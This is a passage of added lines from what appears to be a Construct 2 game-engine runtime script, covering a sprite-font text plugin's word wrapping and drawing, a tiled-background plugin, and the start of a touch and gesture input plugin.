+ function addClipUV(obj,property,left,top,right,bottom) {
+ if (obj[property] === undefined) {
+ obj[property] = alloc(clipUVCache,cr.rect);
+ }
+ obj[property].left = left;
+ obj[property].top = top;
+ obj[property].right = right;
+ obj[property].bottom = bottom;
+ }
+ var clipUVCache = [];
+ function allocClipUV() { return alloc(clipUVCache,cr.rect);}
+ function freeAllClipUV(obj) { freeAll(clipUVCache,obj,false);}
+ instanceProto.SplitSheet = function() {
+ var texture = this.texture_img;
+ var texWidth = texture.width;
+ var texHeight = texture.height;
+ var charWidth = this.characterWidth;
+ var charHeight = this.characterHeight;
+ var charU = charWidth /texWidth;
+ var charV = charHeight/texHeight;
+ var charSet = this.characterSet ;
+ var cols = Math.floor(texWidth/charWidth);
+ var rows = Math.floor(texHeight/charHeight);
+ for ( var c = 0; c < charSet.length; c++) {
+ if (c >= cols * rows) break;
+ var x = c%cols;
+ var y = Math.floor(c/cols);
+ var letter = charSet.charAt(c);
+ if (this.runtime.glwrap) {
+ addClipUV(
+ this.clipUV, letter,
+ x * charU ,
+ y * charV ,
+ (x+1) * charU ,
+ (y+1) * charV
+ );
+ } else {
+ addClip(
+ this.clipList, letter,
+ x * charWidth,
+ y * charHeight,
+ charWidth,
+ charHeight
+ );
+ }
+ }
+ };
+ /*
+ * Word-Wrapping
+ */
+ var wordsCache = [];
+ pluginProto.TokeniseWords = function (text)
+ {
+ cr.clearArray(wordsCache);
+ var cur_word = "";
+ var ch;
+ var i = 0;
+ while (i < text.length)
+ {
+ ch = text.charAt(i);
+ if (ch === "\n")
+ {
+ if (cur_word.length)
+ {
+ wordsCache.push(cur_word);
+ cur_word = "";
+ }
+ wordsCache.push("\n");
+ ++i;
+ }
+ else if (ch === " " || ch === "\t" || ch === "-")
+ {
+ do {
+ cur_word += text.charAt(i);
+ i++;
+ }
+ while (i < text.length && (text.charAt(i) === " " || text.charAt(i) === "\t"));
+ wordsCache.push(cur_word);
+ cur_word = "";
+ }
+ else if (i < text.length)
+ {
+ cur_word += ch;
+ i++;
+ }
+ }
+ if (cur_word.length)
+ wordsCache.push(cur_word);
+ };
+ pluginProto.WordWrap = function (inst)
+ {
+ var text = inst.text;
+ var lines = inst.lines;
+ if (!text || !text.length)
+ {
+ freeAllLines(lines);
+ return;
+ }
+ var width = inst.width;
+ if (width <= 2.0)
+ {
+ freeAllLines(lines);
+ return;
+ }
+ var charWidth = inst.characterWidth;
+ var charScale = inst.characterScale;
+ var charSpacing = inst.characterSpacing;
+ if ( (text.length * (charWidth * charScale + charSpacing) - charSpacing) <= width && text.indexOf("\n") === -1)
+ {
+ var all_width = inst.measureWidth(text);
+ if (all_width <= width)
+ {
+ freeAllLines(lines);
+ lines.push(allocLine());
+ lines[0].text = text;
+ lines[0].width = all_width;
+ inst.textWidth = all_width;
+ inst.textHeight = inst.characterHeight * charScale + inst.lineHeight;
+ return;
+ }
+ }
+ var wrapbyword = inst.wrapbyword;
+ this.WrapText(inst);
+ inst.textHeight = lines.length * (inst.characterHeight * charScale + inst.lineHeight);
+ };
+ pluginProto.WrapText = function (inst)
+ {
+ var wrapbyword = inst.wrapbyword;
+ var text = inst.text;
+ var lines = inst.lines;
+ var width = inst.width;
+ var wordArray;
+ if (wrapbyword) {
+ this.TokeniseWords(text); // writes to wordsCache
+ wordArray = wordsCache;
+ } else {
+ wordArray = text;
+ }
+ var cur_line = "";
+ var prev_line;
+ var line_width;
+ var i;
+ var lineIndex = 0;
+ var line;
+ var ignore_newline = false;
+ for (i = 0; i < wordArray.length; i++)
+ {
+ if (wordArray[i] === "\n")
+ {
+ if (ignore_newline === true) {
+ ignore_newline = false;
+ } else {
+ addLine(inst,lineIndex,cur_line);
+ lineIndex++;
+ }
+ cur_line = "";
+ continue;
+ }
+ ignore_newline = false;
+ prev_line = cur_line;
+ cur_line += wordArray[i];
+ line_width = inst.measureWidth(trimRight(cur_line));
+ if (line_width > width)
+ {
+ if (prev_line === "") {
+ addLine(inst,lineIndex,cur_line);
+ cur_line = "";
+ ignore_newline = true;
+ } else {
+ addLine(inst,lineIndex,prev_line);
+ cur_line = wordArray[i];
+ }
+ lineIndex++;
+ if (!wrapbyword && cur_line === " ")
+ cur_line = "";
+ }
+ }
+ if (trimRight(cur_line).length)
+ {
+ addLine(inst,lineIndex,cur_line);
+ lineIndex++;
+ }
+ for (i = lineIndex; i < lines.length; i++)
+ freeLine(lines[i]);
+ lines.length = lineIndex;
+ };
+ instanceProto.measureWidth = function(text) {
+ var spacing = this.characterSpacing;
+ var len = text.length;
+ var width = 0;
+ for (var i = 0; i < len; i++) {
+ width += this.getCharacterWidth(text.charAt(i)) * this.characterScale + spacing;
+ }
+ width -= (width > 0) ? spacing : 0;
+ return width;
+ };
+ /***/
+ instanceProto.getCharacterWidth = function(character) {
+ var widthList = this.characterWidthList;
+ if (widthList[character] !== undefined) {
+ return widthList[character];
+ } else {
+ return this.characterWidth;
+ }
+ };
+ instanceProto.rebuildText = function() {
+ if (this.text_changed || this.width !== this.lastwrapwidth) {
+ this.textWidth = 0;
+ this.textHeight = 0;
+ this.type.plugin.WordWrap(this);
+ this.text_changed = false;
+ this.lastwrapwidth = this.width;
+ }
+ };
+ var EPSILON = 0.00001;
+ instanceProto.draw = function(ctx, glmode)
+ {
+ var texture = this.texture_img;
+ if (this.text !== "" && texture != null) {
+ this.rebuildText();
+ if (this.height < this.characterHeight*this.characterScale + this.lineHeight) {
+ return;
+ }
+ ctx.globalAlpha = this.opacity;
+ var myx = this.x;
+ var myy = this.y;
+ if (this.runtime.pixel_rounding)
+ {
+ myx = Math.round(myx);
+ myy = Math.round(myy);
+ }
+ var viewLeft = this.layer.viewLeft;
+ var viewTop = this.layer.viewTop;
+ var viewRight = this.layer.viewRight;
+ var viewBottom = this.layer.viewBottom;
+ ctx.save();
+ ctx.translate(myx, myy);
+ ctx.rotate(this.angle);
+ var angle = this.angle;
+ var ha = this.halign;
+ var va = this.valign;
+ var scale = this.characterScale;
+ var charHeight = this.characterHeight * scale;
+ var lineHeight = this.lineHeight;
+ var charSpace = this.characterSpacing;
+ var lines = this.lines;
+ var textHeight = this.textHeight;
+ var letterWidth;
+ var halign;
+ var valign = va * cr.max(0,(this.height - textHeight));
+ var offx = -(this.hotspotX * this.width);
+ var offy = -(this.hotspotY * this.height);
+ offy += valign;
+ var drawX ;
+ var drawY = offy;
+ var roundX, roundY;
+ for(var i = 0; i < lines.length; i++) {
+ var line = lines[i].text;
+ var len = lines[i].width;
+ halign = ha * cr.max(0,this.width - len);
+ drawX = offx + halign;
+ drawY += lineHeight;
+ if (angle === 0 && myy + drawY + charHeight < viewTop)
+ {
+ drawY += charHeight;
+ continue;
+ }
+ for(var j = 0; j < line.length; j++) {
+ var letter = line.charAt(j);
+ letterWidth = this.getCharacterWidth(letter);
+ var clip = this.clipList[letter];
+ if (angle === 0 && myx + drawX + letterWidth * scale + charSpace < viewLeft)
+ {
+ drawX += letterWidth * scale + charSpace;
+ continue;
+ }
+ if ( drawX + letterWidth * scale > this.width + EPSILON ) {
+ break;
+ }
+ if (clip !== undefined) {
+ roundX = drawX;
+ roundY = drawY;
+ if (angle === 0 && scale === 1)
+ {
+ roundX = Math.round(roundX);
+ roundY = Math.round(roundY);
+ }
+ ctx.drawImage( this.texture_img,
+ clip.x, clip.y, clip.w, clip.h,
+ roundX,roundY,clip.w*scale,clip.h*scale);
+ }
+ drawX += letterWidth * scale + charSpace;
+ if (angle === 0 && myx + drawX > viewRight)
+ break;
+ }
+ drawY += charHeight;
+ if (angle === 0 && (drawY + charHeight + lineHeight > this.height || myy + drawY > viewBottom))
+ {
+ break;
+ }
+ }
+ ctx.restore();
+ }
+ };
+ var dQuad = new cr.quad();
+ function rotateQuad(quad,cosa,sina) {
+ var x_temp;
+ x_temp = (quad.tlx * cosa) - (quad.tly * sina);
+ quad.tly = (quad.tly * cosa) + (quad.tlx * sina);
+ quad.tlx = x_temp;
+ x_temp = (quad.trx * cosa) - (quad.try_ * sina);
+ quad.try_ = (quad.try_ * cosa) + (quad.trx * sina);
+ quad.trx = x_temp;
+ x_temp = (quad.blx * cosa) - (quad.bly * sina);
+ quad.bly = (quad.bly * cosa) + (quad.blx * sina);
+ quad.blx = x_temp;
+ x_temp = (quad.brx * cosa) - (quad.bry * sina);
+ quad.bry = (quad.bry * cosa) + (quad.brx * sina);
+ quad.brx = x_temp;
+ }
+ instanceProto.drawGL = function(glw)
+ {
+ glw.setTexture(this.webGL_texture);
+ glw.setOpacity(this.opacity);
+ if (!this.text)
+ return;
+ this.rebuildText();
+ if (this.height < this.characterHeight*this.characterScale + this.lineHeight) {
+ return;
+ }
+ this.update_bbox();
+ var q = this.bquad;
+ var ox = 0;
+ var oy = 0;
+ if (this.runtime.pixel_rounding)
+ {
+ ox = Math.round(this.x) - this.x;
+ oy = Math.round(this.y) - this.y;
+ }
+ var viewLeft = this.layer.viewLeft;
+ var viewTop = this.layer.viewTop;
+ var viewRight = this.layer.viewRight;
+ var viewBottom = this.layer.viewBottom;
+ var angle = this.angle;
+ var ha = this.halign;
+ var va = this.valign;
+ var scale = this.characterScale;
+ var charHeight = this.characterHeight * scale; // to precalculate in onCreate or on change
+ var lineHeight = this.lineHeight;
+ var charSpace = this.characterSpacing;
+ var lines = this.lines;
+ var textHeight = this.textHeight;
+ var letterWidth;
+ var cosa,sina;
+ if (angle !== 0)
+ {
+ cosa = Math.cos(angle);
+ sina = Math.sin(angle);
+ }
+ var halign;
+ var valign = va * cr.max(0,(this.height - textHeight));
+ var offx = q.tlx + ox;
+ var offy = q.tly + oy;
+ var drawX ;
+ var drawY = valign;
+ var roundX, roundY;
+ for(var i = 0; i < lines.length; i++) {
+ var line = lines[i].text;
+ var lineWidth = lines[i].width;
+ halign = ha * cr.max(0,this.width - lineWidth);
+ drawX = halign;
+ drawY += lineHeight;
+ if (angle === 0 && offy + drawY + charHeight < viewTop)
+ {
+ drawY += charHeight;
+ continue;
+ }
+ for(var j = 0; j < line.length; j++) {
+ var letter = line.charAt(j);
+ letterWidth = this.getCharacterWidth(letter);
+ var clipUV = this.clipUV[letter];
+ if (angle === 0 && offx + drawX + letterWidth * scale + charSpace < viewLeft)
+ {
+ drawX += letterWidth * scale + charSpace;
+ continue;
+ }
+ if (drawX + letterWidth * scale > this.width + EPSILON)
+ {
+ break;
+ }
+ if (clipUV !== undefined) {
+ var clipWidth = this.characterWidth*scale;
+ var clipHeight = this.characterHeight*scale;
+ roundX = drawX;
+ roundY = drawY;
+ if (angle === 0 && scale === 1)
+ {
+ roundX = Math.round(roundX);
+ roundY = Math.round(roundY);
+ }
+ dQuad.tlx = roundX;
+ dQuad.tly = roundY;
+ dQuad.trx = roundX + clipWidth;
+ dQuad.try_ = roundY ;
+ dQuad.blx = roundX;
+ dQuad.bly = roundY + clipHeight;
+ dQuad.brx = roundX + clipWidth;
+ dQuad.bry = roundY + clipHeight;
+ if(angle !== 0)
+ {
+ rotateQuad(dQuad,cosa,sina);
+ }
+ dQuad.offset(offx,offy);
+ glw.quadTex(
+ dQuad.tlx, dQuad.tly,
+ dQuad.trx, dQuad.try_,
+ dQuad.brx, dQuad.bry,
+ dQuad.blx, dQuad.bly,
+ clipUV
+ );
+ }
+ drawX += letterWidth * scale + charSpace;
+ if (angle === 0 && offx + drawX > viewRight)
+ break;
+ }
+ drawY += charHeight;
+ if (angle === 0 && (drawY + charHeight + lineHeight > this.height || offy + drawY > viewBottom))
+ {
+ break;
+ }
+ }
+ };
+ function Cnds() {}
+ Cnds.prototype.CompareText = function(text_to_compare, case_sensitive)
+ {
+ if (case_sensitive)
+ return this.text == text_to_compare;
+ else
+ return cr.equals_nocase(this.text, text_to_compare);
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {}
+ Acts.prototype.SetText = function(param)
+ {
+ if (cr.is_number(param) && param < 1e9)
+ param = Math.round(param * 1e10) / 1e10; // round to nearest ten billionth - hides floating point errors
+ var text_to_set = param.toString();
+ if (this.text !== text_to_set)
+ {
+ this.text = text_to_set;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ }
+ };
+ Acts.prototype.AppendText = function(param)
+ {
+ if (cr.is_number(param))
+ param = Math.round(param * 1e10) / 1e10; // round to nearest ten billionth - hides floating point errors
+ var text_to_append = param.toString();
+ if (text_to_append) // not empty
+ {
+ this.text += text_to_append;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ }
+ };
+ Acts.prototype.SetScale = function(param)
+ {
+ if (param !== this.characterScale) {
+ this.characterScale = param;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ }
+ };
+ Acts.prototype.SetCharacterSpacing = function(param)
+ {
+ if (param !== this.CharacterSpacing) {
+ this.characterSpacing = param;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ }
+ };
+ Acts.prototype.SetLineHeight = function(param)
+ {
+ if (param !== this.lineHeight) {
+ this.lineHeight = param;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ }
+ };
+ instanceProto.SetCharWidth = function(character,width) {
+ var w = parseInt(width,10);
+ if (this.characterWidthList[character] !== w) {
+ this.characterWidthList[character] = w;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ }
+ };
+ Acts.prototype.SetCharacterWidth = function(characterSet,width)
+ {
+ if (characterSet !== "") {
+ for(var c = 0; c < characterSet.length; c++) {
+ this.SetCharWidth(characterSet.charAt(c),width);
+ }
+ }
+ };
+ Acts.prototype.SetEffect = function (effect)
+ {
+ this.blend_mode = effect;
+ this.compositeOp = cr.effectToCompositeOp(effect);
+ cr.setGLBlend(this, effect, this.runtime.gl);
+ this.runtime.redraw = true;
+ };
+ Acts.prototype.SetHAlign = function (a)
+ {
+ this.halign = a / 2.0;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ };
+ Acts.prototype.SetVAlign = function (a)
+ {
+ this.valign = a / 2.0;
+ this.text_changed = true;
+ this.runtime.redraw = true;
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {}
+ Exps.prototype.CharacterWidth = function(ret,character)
+ {
+ ret.set_int(this.getCharacterWidth(character));
+ };
+ Exps.prototype.CharacterHeight = function(ret)
+ {
+ ret.set_int(this.characterHeight);
+ };
+ Exps.prototype.CharacterScale = function(ret)
+ {
+ ret.set_float(this.characterScale);
+ };
+ Exps.prototype.CharacterSpacing = function(ret)
+ {
+ ret.set_int(this.characterSpacing);
+ };
+ Exps.prototype.LineHeight = function(ret)
+ {
+ ret.set_int(this.lineHeight);
+ };
+ Exps.prototype.Text = function(ret)
+ {
+ ret.set_string(this.text);
+ };
+ Exps.prototype.TextWidth = function (ret)
+ {
+ this.rebuildText();
+ ret.set_float(this.textWidth);
+ };
+ Exps.prototype.TextHeight = function (ret)
+ {
+ this.rebuildText();
+ ret.set_float(this.textHeight);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.TiledBg = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.TiledBg.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ if (this.is_family)
+ return;
+ this.texture_img = new Image();
+ this.texture_img.cr_filesize = this.texture_filesize;
+ this.runtime.waitForImageLoad(this.texture_img, this.texture_file);
+ this.pattern = null;
+ this.webGL_texture = null;
+ };
+ typeProto.onLostWebGLContext = function ()
+ {
+ if (this.is_family)
+ return;
+ this.webGL_texture = null;
+ };
+ typeProto.onRestoreWebGLContext = function ()
+ {
+ if (this.is_family || !this.instances.length)
+ return;
+ if (!this.webGL_texture)
+ {
+ this.webGL_texture = this.runtime.glwrap.loadTexture(this.texture_img, true, this.runtime.linearSampling, this.texture_pixelformat);
+ }
+ var i, len;
+ for (i = 0, len = this.instances.length; i < len; i++)
+ this.instances[i].webGL_texture = this.webGL_texture;
+ };
+ typeProto.loadTextures = function ()
+ {
+ if (this.is_family || this.webGL_texture || !this.runtime.glwrap)
+ return;
+ this.webGL_texture = this.runtime.glwrap.loadTexture(this.texture_img, true, this.runtime.linearSampling, this.texture_pixelformat);
+ };
+ typeProto.unloadTextures = function ()
+ {
+ if (this.is_family || this.instances.length || !this.webGL_texture)
+ return;
+ this.runtime.glwrap.deleteTexture(this.webGL_texture);
+ this.webGL_texture = null;
+ };
+ typeProto.preloadCanvas2D = function (ctx)
+ {
+ ctx.drawImage(this.texture_img, 0, 0);
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onCreate = function()
+ {
+ this.visible = (this.properties[0] === 0); // 0=visible, 1=invisible
+ this.rcTex = new cr.rect(0, 0, 0, 0);
+ this.has_own_texture = false; // true if a texture loaded in from URL
+ this.texture_img = this.type.texture_img;
+ if (this.runtime.glwrap)
+ {
+ this.type.loadTextures();
+ this.webGL_texture = this.type.webGL_texture;
+ }
+ else
+ {
+ if (!this.type.pattern)
+ this.type.pattern = this.runtime.ctx.createPattern(this.type.texture_img, "repeat");
+ this.pattern = this.type.pattern;
+ }
+ };
+ instanceProto.afterLoad = function ()
+ {
+ this.has_own_texture = false;
+ this.texture_img = this.type.texture_img;
+ };
+ instanceProto.onDestroy = function ()
+ {
+ if (this.runtime.glwrap && this.has_own_texture && this.webGL_texture)
+ {
+ this.runtime.glwrap.deleteTexture(this.webGL_texture);
+ this.webGL_texture = null;
+ }
+ };
+ instanceProto.draw = function(ctx)
+ {
+ ctx.globalAlpha = this.opacity;
+ ctx.save();
+ ctx.fillStyle = this.pattern;
+ var myx = this.x;
+ var myy = this.y;
+ if (this.runtime.pixel_rounding)
+ {
+ myx = Math.round(myx);
+ myy = Math.round(myy);
+ }
+ var drawX = -(this.hotspotX * this.width);
+ var drawY = -(this.hotspotY * this.height);
+ var offX = drawX % this.texture_img.width;
+ var offY = drawY % this.texture_img.height;
+ if (offX < 0)
+ offX += this.texture_img.width;
+ if (offY < 0)
+ offY += this.texture_img.height;
+ ctx.translate(myx, myy);
+ ctx.rotate(this.angle);
+ ctx.translate(offX, offY);
+ ctx.fillRect(drawX - offX,
+ drawY - offY,
+ this.width,
+ this.height);
+ ctx.restore();
+ };
+ instanceProto.drawGL_earlyZPass = function(glw)
+ {
+ this.drawGL(glw);
+ };
+ instanceProto.drawGL = function(glw)
+ {
+ glw.setTexture(this.webGL_texture);
+ glw.setOpacity(this.opacity);
+ var rcTex = this.rcTex;
+ rcTex.right = this.width / this.texture_img.width;
+ rcTex.bottom = this.height / this.texture_img.height;
+ var q = this.bquad;
+ if (this.runtime.pixel_rounding)
+ {
+ var ox = Math.round(this.x) - this.x;
+ var oy = Math.round(this.y) - this.y;
+ glw.quadTex(q.tlx + ox, q.tly + oy, q.trx + ox, q.try_ + oy, q.brx + ox, q.bry + oy, q.blx + ox, q.bly + oy, rcTex);
+ }
+ else
+ glw.quadTex(q.tlx, q.tly, q.trx, q.try_, q.brx, q.bry, q.blx, q.bly, rcTex);
+ };
+ function Cnds() {};
+ Cnds.prototype.OnURLLoaded = function ()
+ {
+ return true;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetEffect = function (effect)
+ {
+ this.blend_mode = effect;
+ this.compositeOp = cr.effectToCompositeOp(effect);
+ cr.setGLBlend(this, effect, this.runtime.gl);
+ this.runtime.redraw = true;
+ };
+ Acts.prototype.LoadURL = function (url_, crossOrigin_)
+ {
+ var img = new Image();
+ var self = this;
+ img.onload = function ()
+ {
+ self.texture_img = img;
+ if (self.runtime.glwrap)
+ {
+ if (self.has_own_texture && self.webGL_texture)
+ self.runtime.glwrap.deleteTexture(self.webGL_texture);
+ self.webGL_texture = self.runtime.glwrap.loadTexture(img, true, self.runtime.linearSampling);
+ }
+ else
+ {
+ self.pattern = self.runtime.ctx.createPattern(img, "repeat");
+ }
+ self.has_own_texture = true;
+ self.runtime.redraw = true;
+ self.runtime.trigger(cr.plugins_.TiledBg.prototype.cnds.OnURLLoaded, self);
+ };
+ if (url_.substr(0, 5) !== "data:" && crossOrigin_ === 0)
+ img.crossOrigin = "anonymous";
+ this.runtime.setImageSrc(img, url_);
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.ImageWidth = function (ret)
+ {
+ ret.set_float(this.texture_img.width);
+ };
+ Exps.prototype.ImageHeight = function (ret)
+ {
+ ret.set_float(this.texture_img.height);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Touch = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Touch.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ this.touches = [];
+ this.mouseDown = false;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ var dummyoffset = {left: 0, top: 0};
+ instanceProto.findTouch = function (id)
+ {
+ var i, len;
+ for (i = 0, len = this.touches.length; i < len; i++)
+ {
+ if (this.touches[i]["id"] === id)
+ return i;
+ }
+ return -1;
+ };
+ var appmobi_accx = 0;
+ var appmobi_accy = 0;
+ var appmobi_accz = 0;
+ function AppMobiGetAcceleration(evt)
+ {
+ appmobi_accx = evt.x;
+ appmobi_accy = evt.y;
+ appmobi_accz = evt.z;
+ };
+ var pg_accx = 0;
+ var pg_accy = 0;
+ var pg_accz = 0;
+ function PhoneGapGetAcceleration(evt)
+ {
+ pg_accx = evt.x;
+ pg_accy = evt.y;
+ pg_accz = evt.z;
+ };
+ var theInstance = null;
+ var touchinfo_cache = [];
+ function AllocTouchInfo(x, y, id, index)
+ {
+ var ret;
+ if (touchinfo_cache.length)
+ ret = touchinfo_cache.pop();
+ else
+ ret = new TouchInfo();
+ ret.init(x, y, id, index);
+ return ret;
+ };
+ function ReleaseTouchInfo(ti)
+ {
+ if (touchinfo_cache.length < 100)
+ touchinfo_cache.push(ti);
+ };
+ var GESTURE_HOLD_THRESHOLD = 15; // max px motion for hold gesture to register
+ var GESTURE_HOLD_TIMEOUT = 500; // time for hold gesture to register
+ var GESTURE_TAP_TIMEOUT = 333; // time for tap gesture to register
+ var GESTURE_DOUBLETAP_THRESHOLD = 25; // max distance apart for taps to be
+ function TouchInfo()
+ {
+ this.starttime = 0;
+ this.time = 0;
+ this.lasttime = 0;
+ this.startx = 0;
+ this.starty = 0;
+ this.x = 0;
+ this.y = 0;
+ this.lastx = 0;
+ this.lasty = 0;
+ this["id"] = 0;
+ this.startindex = 0;
+ this.triggeredHold = false;
+ this.tooFarForHold = false;
+ };
+ TouchInfo.prototype.init = function (x, y, id, index)
+ {
+ var nowtime = cr.performance_now();
+ this.time = nowtime;
+ this.lasttime = nowtime;
+ this.starttime = nowtime;
+ this.startx = x;
+ this.starty = y;
+ this.x = x;
+ this.y = y;
+ this.lastx = x;
+ this.lasty = y;
+ this.width = 0;
+ this.height = 0;
+ this.pressure = 0;
+ this["id"] = id;
+ this.startindex = index;
+ this.triggeredHold = false;
+ this.tooFarForHold = false;
+ };
+ TouchInfo.prototype.update = function (nowtime, x, y, width, height, pressure)
+ {
+ this.lasttime = this.time;
+ this.time = nowtime;
+ this.lastx = this.x;
+ this.lasty = this.y;
+ this.x = x;
+ this.y = y;
+ this.width = width;
+ this.height = height;
+ this.pressure = pressure;
+ if (!this.tooFarForHold && cr.distanceTo(this.startx, this.starty, this.x, this.y) >= GESTURE_HOLD_THRESHOLD)
+ {
+ this.tooFarForHold = true;
+ }
+ };
+ TouchInfo.prototype.maybeTriggerHold = function (inst, index)
+ {
+ if (this.triggeredHold)
+ return; // already triggered this gesture
+ var nowtime = cr.performance_now();
+ if (nowtime - this.starttime >= GESTURE_HOLD_TIMEOUT && !this.tooFarForHold && cr.distanceTo(this.startx, this.starty, this.x, this.y) < GESTURE_HOLD_THRESHOLD)
+ {
+ this.triggeredHold = true;
+ inst.trigger_index = this.startindex;
+ inst.trigger_id = this["id"];
+ inst.getTouchIndex = index;
+ inst.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnHoldGesture, inst);
+ inst.curTouchX = this.x;
+ inst.curTouchY = this.y;
+ inst.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnHoldGestureObject, inst);
+ inst.getTouchIndex = 0;
+ }
+ };
+ var lastTapX = -1000;
+ var lastTapY = -1000;
+ var lastTapTime = -10000;
+ TouchInfo.prototype.maybeTriggerTap = function (inst, index)
+ {
+ if (this.triggeredHold)
+ return;
+ var nowtime = cr.performance_now();
+ if (nowtime - this.starttime <= GESTURE_TAP_TIMEOUT && !this.tooFarForHold && cr.distanceTo(this.startx, this.starty, this.x, this.y) < GESTURE_HOLD_THRESHOLD)
+ {
+ inst.trigger_index = this.startindex;
+ inst.trigger_id = this["id"];
+ inst.getTouchIndex = index;
+ if ((nowtime - lastTapTime <= GESTURE_TAP_TIMEOUT * 2) && cr.distanceTo(lastTapX, lastTapY, this.x, this.y) < GESTURE_DOUBLETAP_THRESHOLD)
+ {
+ inst.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnDoubleTapGesture, inst);
+ inst.curTouchX = this.x;
+ inst.curTouchY = this.y;
+ inst.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnDoubleTapGestureObject, inst);
+ lastTapX = -1000;
+ lastTapY = -1000;
+ lastTapTime = -10000;
+ }
+ else
+ {
+ inst.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTapGesture, inst);
+ inst.curTouchX = this.x;
+ inst.curTouchY = this.y;
+ inst.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTapGestureObject, inst);
+ lastTapX = this.x;
+ lastTapY = this.y;
+ lastTapTime = nowtime;
+ }
+ inst.getTouchIndex = 0;
+ }
+ };
+ instanceProto.onCreate = function()
+ {
+ theInstance = this;
+ this.isWindows8 = !!(typeof window["c2isWindows8"] !== "undefined" && window["c2isWindows8"]);
+ this.orient_alpha = 0;
+ this.orient_beta = 0;
+ this.orient_gamma = 0;
+ this.acc_g_x = 0;
+ this.acc_g_y = 0;
+ this.acc_g_z = 0;
+ this.acc_x = 0;
+ this.acc_y = 0;
+ this.acc_z = 0;
+ this.curTouchX = 0;
+ this.curTouchY = 0;
+ this.trigger_index = 0;
+ this.trigger_id = 0;
+ this.trigger_permission = 0;
+ this.getTouchIndex = 0;
+ this.useMouseInput = (this.properties[0] !== 0);
+ var elem = (this.runtime.fullscreen_mode > 0) ? document : this.runtime.canvas;
+ var elem2 = document;
+ if (this.runtime.isDirectCanvas)
+ elem2 = elem = window["Canvas"];
+ else if (this.runtime.isCocoonJs)
+ elem2 = elem = window;
+ var self = this;
+ if (typeof PointerEvent !== "undefined")
+ {
+ elem.addEventListener("pointerdown",
+ function(info) {
+ self.onPointerStart(info);
+ },
+ false
+ );
+ elem.addEventListener("pointermove",
+ function(info) {
+ self.onPointerMove(info);
+ },
+ false
+ );
+ elem2.addEventListener("pointerup",
+ function(info) {
+ self.onPointerEnd(info, false);
+ },
+ false
+ );
+ elem2.addEventListener("pointercancel",
+ function(info) {
+ self.onPointerEnd(info, true);
+ },
+ false
+ );
+ if (this.runtime.canvas)
+ {
+ this.runtime.canvas.addEventListener("MSGestureHold", function(e) {
+ e.preventDefault();
+ }, false);
+ document.addEventListener("MSGestureHold", function(e) {
+ e.preventDefault();
+ }, false);
+ this.runtime.canvas.addEventListener("gesturehold", function(e) {
+ e.preventDefault();
+ }, false);
+ document.addEventListener("gesturehold", function(e) {
+ e.preventDefault();
+ }, false);
+ }
+ }
+ else if (window.navigator["msPointerEnabled"])
+ {
+ elem.addEventListener("MSPointerDown",
+ function(info) {
+ self.onPointerStart(info);
+ },
+ false
+ );
+ elem.addEventListener("MSPointerMove",
+ function(info) {
+ self.onPointerMove(info);
+ },
+ false
+ );
+ elem2.addEventListener("MSPointerUp",
+ function(info) {
+ self.onPointerEnd(info, false);
+ },
+ false
+ );
+ elem2.addEventListener("MSPointerCancel",
+ function(info) {
+ self.onPointerEnd(info, true);
+ },
+ false
+ );
+ if (this.runtime.canvas)
+ {
+ this.runtime.canvas.addEventListener("MSGestureHold", function(e) {
+ e.preventDefault();
+ }, false);
+ document.addEventListener("MSGestureHold", function(e) {
+ e.preventDefault();
+ }, false);
+ }
+ }
+ else
+ {
+ elem.addEventListener("touchstart",
+ function(info) {
+ self.onTouchStart(info);
+ },
+ false
+ );
+ elem.addEventListener("touchmove",
+ function(info) {
+ self.onTouchMove(info);
+ },
+ false
+ );
+ elem2.addEventListener("touchend",
+ function(info) {
+ self.onTouchEnd(info, false);
+ },
+ false
+ );
+ elem2.addEventListener("touchcancel",
+ function(info) {
+ self.onTouchEnd(info, true);
+ },
+ false
+ );
+ }
+ if (this.isWindows8)
+ {
+ var win8accelerometerFn = function(e) {
+ var reading = e["reading"];
+ self.acc_x = reading["accelerationX"];
+ self.acc_y = reading["accelerationY"];
+ self.acc_z = reading["accelerationZ"];
+ };
+ var win8inclinometerFn = function(e) {
+ var reading = e["reading"];
+ self.orient_alpha = reading["yawDegrees"];
+ self.orient_beta = reading["pitchDegrees"];
+ self.orient_gamma = reading["rollDegrees"];
+ };
+ var accelerometer = Windows["Devices"]["Sensors"]["Accelerometer"]["getDefault"]();
+ if (accelerometer)
+ {
+ accelerometer["reportInterval"] = Math.max(accelerometer["minimumReportInterval"], 16);
+ accelerometer.addEventListener("readingchanged", win8accelerometerFn);
+ }
